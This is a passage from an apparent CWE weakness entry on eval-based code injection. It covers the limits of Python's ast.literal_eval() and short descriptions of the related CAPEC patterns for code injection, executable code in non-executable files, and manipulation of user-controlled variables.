For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.